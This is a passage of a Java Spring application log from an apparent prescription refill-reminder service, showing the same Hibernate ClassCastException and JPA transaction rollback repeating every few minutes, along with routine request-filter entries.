com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 07:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 07:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 07:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 07:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 07:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 07:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 07:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 07:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 07:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 07:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 07:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 07:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 07:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 07:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 07:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 07:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 07:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 07:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 07:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 07:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 07:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 07:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 07:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 07:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 07:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 07:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 07:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 07:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 07:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 07:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 07:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 07:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 07:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 07:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 07:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 07:38:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:38:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:38:58 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 07:38:58 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 07:38:58 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 07:38:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:38:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:38:58 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/simple.php 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 07:39:02 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - 